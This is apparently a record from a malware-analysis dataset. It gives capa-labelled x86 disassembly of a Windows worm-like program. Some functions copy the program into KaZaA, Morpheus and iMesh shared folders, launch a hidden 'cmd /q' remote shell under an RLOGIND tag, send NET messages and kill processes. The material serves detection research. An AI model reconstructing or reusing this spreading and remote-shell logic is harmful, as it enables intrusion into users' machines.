joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4128cd
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x744
mov dword [esp + 8], 0x200
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x61c]
mov dword [esp], eax
call sub.msvcrt.dll_mbstowcs
mov dword [ebp - 0x728], 0x108
lea eax, [ebp - 0x728]
mov dword [esp + 4], eax
lea eax, [ebp - 0x724]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call eax
sub esp, 8
mov dword [esp + 8], 0x108
lea eax, [ebp - 0x724]
mov dword [esp + 4], eax
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call sub.msvcrt.dll_mbstowcs
mov ebx, dword [0x44ee68]
lea eax, [ebp - 0x61c]
mov dword [esp], eax
call sub.msvcrt.dll_wcslen
add eax, eax
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x61c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
lea eax, [ebp - 0x21c]
mov dword [esp + 4], eax
mov dword [esp], 0
call ebx
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4129e1
mov dword [0x44f880], 0x54454e5b
mov dword [0x44f884], 0x4d203a5d
mov dword [0x44f888], 0x61737365
mov dword [0x44f88c], 0x73206567
mov dword [0x44f890], 0x20746e65
mov dword [0x44f894], 0x63637573
mov dword [0x44f898], 0x66737365
mov dword [0x44f89c], 0x796c6c75
mov word [0x44f8a0], 0x2e
jmp 0x412a1a
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call fcn.004121af
mov edx, eax
lea eax, [ebp - 0x61c]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x21c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov dword [esp + 4], str._NET_:__s__Server:__S___Message:__S_
mov dword [esp], 0x44f880
call sub.msvcrt.dll_sprintf
mov eax, 0x44f880
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x414c54
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [ebp - 0x114], pe_nt_image_headers32
mov edx, dword [0x44ed20]
lea eax, [ebp - 0x110]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREKAZAALocalContent
mov dword [esp], 0x80000001
call edx
sub esp, 0x14
mov ecx, dword [0x44ed2c]
mov eax, dword [ebp - 0x110]
lea edx, [ebp - 0x114]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x10c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.Dir0
mov dword [esp], eax
call ecx
sub esp, 0x18
test eax, eax
sete al
test al, al
je 0x414d24
mov dword [esp + 8], 0x441a15
mov dword [esp + 4], str.012345:
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call fcn.0040ee28
mov dword [esp + 8], 0
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
mov edx, dword [0x44ed34]
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call edx
sub esp, 4
nop
leave
ret

Function at 0x414d3b
Capabilities:
Copy file
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [ebp - 0x114], pe_nt_image_headers32
mov edx, dword [0x44ed20]
lea eax, [ebp - 0x110]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMorpheus
mov dword [esp], 0x80000002
call edx
sub esp, 0x14
mov ecx, dword [0x44ed2c]
mov eax, dword [ebp - 0x110]
lea edx, [ebp - 0x114]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x10c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.Install_Dir
mov dword [esp], eax
call ecx
sub esp, 0x18
test eax, eax
sete al
test al, al
je 0x414e32
lea eax, [ebp - 0x10c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sMy_Shared_Folder
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov dword [esp + 4], 0
lea eax, [ebp - 0x10c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call eax
sub esp, 8
mov dword [esp + 8], 0
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
mov edx, dword [0x44ed34]
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call edx
sub esp, 4
nop
leave
ret
Function at 0x414e49
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x114], pe_nt_image_headers32
mov edx, dword [0x44ed20]
lea eax, [ebp - 0x110]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREiMeshClient
mov dword [esp], 0x80000002
call edx
sub esp, 0x14
mov ecx, dword [0x44ed2c]
mov eax, dword [ebp - 0x110]
lea edx, [ebp - 0x114]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x10c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.DownloadsLocation
mov dword [esp], eax
call ecx
sub esp, 0x18
test eax, eax
sete al
test al, al
je 0x414f05
mov dword [esp + 8], 0
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
mov edx, dword [0x44ed34]
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call edx
sub esp, 4
nop
leave
ret
Function at 0x415d0a
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], 1
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
call eax
sub esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
setne al
test al, al
je 0x415d7d
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TerminateProcess]
call eax
sub esp, 8
test eax, eax
sete al
test al, al
je 0x415d7d
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x423a3a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [0x473c2c]
mov dword [esp + 0x10], 0
lea ecx, [ebp - 0xc]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x423a92
call fcn.004239dc
mov eax, 0
jmp 0x423a97
mov eax, 1
leave
ret
Function at 0x426965
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x94
mov dword [ebp - 0x60], 0
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x18]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x5c], 0x44
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x40], 0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov word [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov word [ebp - 0x2a], 0
mov dword [ebp - 0x30], 0x101
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x20], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov edx, eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 2
lea eax, [ebp - 0x5c]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
call eax
sub esp, 0x1c
lea eax, [ebp - 0x18]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x5c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.cmd__q
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
setne al
test al, al
je 0x426ae6
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp + 0x10]
imul edx, edx, 0x234
add edx, 0x44fe68
mov dword [edx], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
jmp 0x426afd
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str._RLOGIND_:_Failed_to_execute_shell__error:___d_.
call fcn.00402c86
mov eax, dword [ebp - 0x60]
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x428e32
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
mov dword [ebp - 0xc], 0
mov dword [ebp - 0xa0], 0x94
lea eax, [ebp - 0xa0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetVersionExA]
call eax
sub esp, 4
test eax, eax
setne al
test al, al
je 0x428f54
mov eax, dword [ebp - 0x9c]
cmp eax, 4
jne 0x428eae
mov eax, dword [ebp - 0x98]
test eax, eax
jne 0x428eae
mov eax, dword [ebp - 0x90]
cmp eax, 1
jne 0x428e93
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x90]
cmp eax, 2
jne 0x428f5b
mov dword [ebp - 0xc], 1
jmp 0x428f5b
mov eax, dword [ebp - 0x9c]
cmp eax, 4
jne 0x428ed0
mov eax, dword [ebp - 0x98]
cmp eax, 0xa
jne 0x428ed0
mov dword [ebp - 0xc], 2
jmp 0x428f5b
mov eax, dword [ebp - 0x9c]
cmp eax, 4
jne 0x428eef
mov eax, dword [ebp - 0x98]
cmp eax, 0x5a
jne 0x428eef
mov dword [ebp - 0xc], 3
jmp 0x428f5b
mov eax, dword [ebp - 0x9c]
cmp eax, 5
jne 0x428f0d
mov eax, dword [ebp - 0x98]
test eax, eax
jne 0x428f0d
mov dword [ebp - 0xc], 2
jmp 0x428f5b
mov eax, dword [ebp - 0x9c]
cmp eax, 5
jne 0x428f2c
mov eax, dword [ebp - 0x98]
cmp eax, 1
jne 0x428f2c
mov dword [ebp - 0xc], 3
jmp 0x428f5b
mov eax, dword [ebp - 0x9c]
cmp eax, 5
jne 0x428f4b
mov eax, dword [ebp - 0x98]
cmp eax, 2
jne 0x428f4b
mov dword [ebp - 0xc], 7
jmp 0x428f5b
mov dword [ebp - 0xc], 0
jmp 0x428f5b
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x42ab26
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], 0
cmp dword [ebp + 8], 0
jle 0x42ac8c
cmp dword [ebp + 8], 0xff
jg 0x42ac8c
mov eax, dword [ebp + 8]
imul eax, eax, 0x234
add eax, 0x44fe74
mov eax, dword [eax]
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TerminateThread]
call eax
sub esp, 8
mov eax, dword [ebp + 8]
imul eax, eax, 0x234
add eax, 0x44fe74
mov eax, dword [eax]
test eax, eax
je 0x42ab8a
mov dword [ebp - 0xc], 1
mov eax, dword [ebp + 8]
imul eax, eax, 0x234
add eax, 0x44fe74
mov dword [eax], 0
mov eax, dword [ebp + 8]
imul eax, eax, 0x234
add eax, 0x44fe60
mov dword [eax], 0
mov eax, dword [ebp + 8]
imul eax, eax, 0x234
add eax, 0x44fe64
mov dword [eax], 0
mov eax, dword [ebp + 8]
imul eax, eax, 0x234
add eax, 0x44fe68
mov eax, dword [eax]
test eax, eax
je 0x42abf2
mov eax, dword [ebp + 8]
imul eax, eax, 0x234
add eax, 0x44fe68
mov eax, dword [eax]
mov dword [esp], eax
call fcn.00415d0a
mov eax, dword [ebp + 8]
imul eax, eax, 0x234
add eax, 0x44fe68
mov dword [eax], 0
mov eax, dword [ebp + 8]
imul eax, eax, 0x234
add eax, 0x44fc60
mov byte [eax], 0
mov eax, dword [ebp + 8]
imul eax, eax, 0x234
add eax, 0x44fe78
mov byte [eax], 0
mov edx, dword [0x44ee04]
mov eax, dword [ebp + 8]
imul eax, eax, 0x234
add eax, 0x44fe6c
mov eax, dword [eax]
mov dword [esp], eax
call edx
sub esp, 4
mov eax, dword [ebp + 8]
imul eax, eax, 0x234
add eax, 0x44fe6c
mov dword [eax], 0
mov edx, dword [0x44ee04]
mov eax, dword [ebp + 8]
imul eax, eax, 0x234
add eax, 0x44fe70
mov eax, dword [eax]
mov dword [esp], eax
call edx
sub esp, 4
mov eax, dword [ebp + 8]
imul eax, eax, 0x234
add eax, 0x44fe70
mov dword [eax], 0
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x436080
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.004360e0
Function at 0x4360e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x4742e0]
test esi, esi
jle 0x4361cd
mov edi, dword [0x4742e4]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x436114
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x4361c6
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x436100
mov dword [esp], eax
mov esi, eax
call fcn.00436a30
test eax, eax
mov edi, eax
je 0x43620a
mov esi, dword [0x4742e4]
lea ebx, [ebx + ebx*2]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call fcn.00436b40
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x4742e4]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x4361ea
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x4361bf
sub eax, 0x40
and eax, 0xffffffbf
je 0x4361bf
mov eax, dword [esp + 0x20]
add ebx, dword [0x4742e4]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x4361d4
add dword [0x4742e0], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor ebx, ebx
jmp 0x43611e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00436080
mov eax, dword [0x4742e4]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00436080
mov dword [esp + 4], esi
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00436080
lea esi, [esi]

Function at 0x4366a0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4742f8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4742f0]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x4366f5
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4366ee
test esi, esi
je 0x4366ee
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4366d0
mov dword [esp], 0x4742f8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x437030
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
sub esp, 4
mov eax, ebx
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x437070
Capabilities:
Set thread local storage value

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
je 0x437095
xor eax, eax
add esp, 0x1c
ret
add esp, 0x1c
jmp dword [sym.imp.KERNEL32.dll_GetLastError]

Function at 0x437400
Capabilities:
Allocate thread local storage

Disassembly:
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x437434
mov dword [esp + 4], 0
mov dword [esp], eax
mov dword [0x474314], eax
call fcn.00438070
test eax, eax
sete al
movzx eax, al
mov dword [0x43d5bc], eax
add esp, 0x1c
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x437423

Function at 0x437550
Capabilities:
Set thread local storage value

Disassembly:
push ebp
push edi
mov ebp, eax
push esi
push ebx
mov ebx, edx
sub esp, 0x3c
mov eax, dword [eax + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x28], eax
mov eax, dword [edx]
jmp 0x43757c
mov dword [0x474318], edx
mov eax, dword [ebx]
mov eax, dword [eax]
mov dword [ebx], eax
test eax, eax
je 0x437634
mov esi, dword [eax + 0x18]
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebp
mov eax, dword [ebp]
mov edx, dword [ebp + 4]
mov dword [esp + 4], 0xa
mov dword [esp], 1
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov eax, dword [esp + 0x28]
call eax
test eax, eax
jne 0x437690
test esi, esi
je 0x4375f7
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebp
mov eax, dword [ebp]
mov edx, dword [ebp + 4]
mov dword [esp + 4], 0xa
mov dword [esp], 1
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
call esi
cmp eax, 7
je 0x43766c
cmp eax, 8
jne 0x437690
mov eax, dword [ebx]
mov edx, dword [eax]
mov eax, dword [0x43d5bc]
test eax, eax
js 0x437674
test eax, eax
je 0x437570
mov eax, dword [0x474314]
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x437576
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x437576
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebp
mov eax, dword [ebp]
mov edx, dword [ebp + 4]
mov dword [esp + 4], 0x1a
mov dword [esp], 1
mov dword [esp + 8], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0xc], edx
call eax
test eax, eax
jne 0x437690
mov eax, 5
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 0x2c], edx
call fcn.00437440
mov eax, dword [0x43d5bc]
mov edx, dword [esp + 0x2c]
jmp 0x437604
add esp, 0x3c
mov eax, 2
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4376a0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [0x43d5bc]
mov ebx, dword [esp + 0x30]
test eax, eax
js 0x437720
test eax, eax
jne 0x4376d0
mov eax, dword [0x474318]
mov dword [0x474318], ebx
mov dword [ebx], eax
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
mov edi, dword [0x474314]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
mov ebp, eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov edi, eax
mov dword [esp], ebp
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [0x474314]
sub esp, 4
mov dword [ebx], edi
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x4376c5
add esp, 0x1c
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
jmp eax
call fcn.00437440
mov eax, dword [0x43d5bc]
jmp 0x4376b4

Function at 0x437730
Capabilities:
Set thread local storage value

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [esp + 0x20]
mov ebx, dword [eax]
mov eax, dword [0x43d5bc]
test eax, eax
js 0x437775
test eax, eax
jne 0x437752
mov dword [0x474318], ebx
add esp, 0x18
pop ebx
ret
mov eax, dword [0x474314]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x43774d
add esp, 0x18
pop ebx
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
call fcn.00437440
mov eax, dword [0x43d5bc]
jmp 0x437743

Function at 0x437890
Capabilities:
Get thread local storage value

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov eax, dword [0x43d5bc]
mov edi, dword [esp + 0x40]
test eax, eax
js 0x43797c
test eax, eax
mov esi, dword [0x474318]
jne 0x437911
test esi, esi
mov dword [esp + 0x2c], esi
je 0x437905
lea ebx, [esp + 0x2c]
mov eax, esi
nop
mov eax, dword [eax + 0x18]
test eax, eax
je 0x4378f7
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], edi
mov edx, dword [edi]
mov ecx, dword [edi + 4]
mov dword [esp + 4], 1
mov dword [esp], 1
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
call eax
cmp eax, 6
je 0x437940
cmp eax, 8
jne 0x437970
mov eax, dword [esp + 0x2c]
mov eax, dword [eax]
test eax, eax
mov dword [esp + 0x2c], eax
jne 0x4378c0
mov eax, 5
add esp, 0x30
pop ebx
pop esi
pop edi
ret
mov esi, dword [0x474314]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov esi, eax
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
sub esp, 4
jmp 0x4378b1
mov eax, dword [esp + 0x2c]
mov dword [edi + 0xc], 0
mov edx, ebx
mov dword [esp + 0x2c], esi
mov dword [edi + 0x10], eax
mov eax, edi
call fcn.00437360
cmp eax, 7
jne 0x43790a
mov eax, ebx
call fcn.004374e0
mov esi, esi
lea edi, [edi]
add esp, 0x30
mov eax, 3
pop ebx
pop esi
pop edi
ret
call fcn.00437440
mov eax, dword [0x43d5bc]
jmp 0x4378a7
Function at 0x437a30
Capabilities:
Get thread local storage value

Disassembly:
push edi
push esi
push ebx
sub esp, 0x20
mov edx, dword [0x43d5bc]
mov ebx, dword [esp + 0x30]
test edx, edx
js 0x437aa5
test edx, edx
mov eax, dword [0x474318]
jne 0x437a7d
mov ecx, dword [ebx + 0xc]
lea esi, [esp + 0x1c]
mov dword [esp + 0x1c], eax
mov eax, ebx
mov edx, esi
test ecx, ecx
jne 0x437a6f
call fcn.00437360
cmp eax, 7
je 0x437a76
call sub.msvcrt.dll_abort
call fcn.00437550
jmp 0x437a65
mov eax, esi
call fcn.004374e0
mov esi, dword [0x474314]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push esi
mov esi, eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, esi
push edi
jmp 0x437a4d
call fcn.00437440
mov edx, dword [0x43d5bc]
jmp 0x437a44

Function at 0x437ac0
Capabilities:
Get thread local storage value

Disassembly:
push edi
push esi
push ebx
sub esp, 0x20
mov ebx, dword [esp + 0x30]
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x437b00
mov edx, dword [0x43d5bc]
test edx, edx
js 0x437b50
test edx, edx
mov eax, dword [0x474318]
jne 0x437b20
lea edx, [esp + 0x1c]
mov dword [esp + 0x1c], eax
mov eax, ebx
call fcn.00437550
cmp eax, 7
je 0x437b10
call sub.msvcrt.dll_abort
lea esi, [esi]
mov dword [esp], ebx
call fcn.00437890
add esp, 0x20
pop ebx
pop esi
pop edi
ret
lea eax, [esp + 0x1c]
call fcn.004374e0
lea esi, [esi]
mov esi, dword [0x474314]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov esi, eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, esi
sub esp, 4
jmp 0x437ae4
call fcn.00437440
mov edx, dword [0x43d5bc]
jmp 0x437adb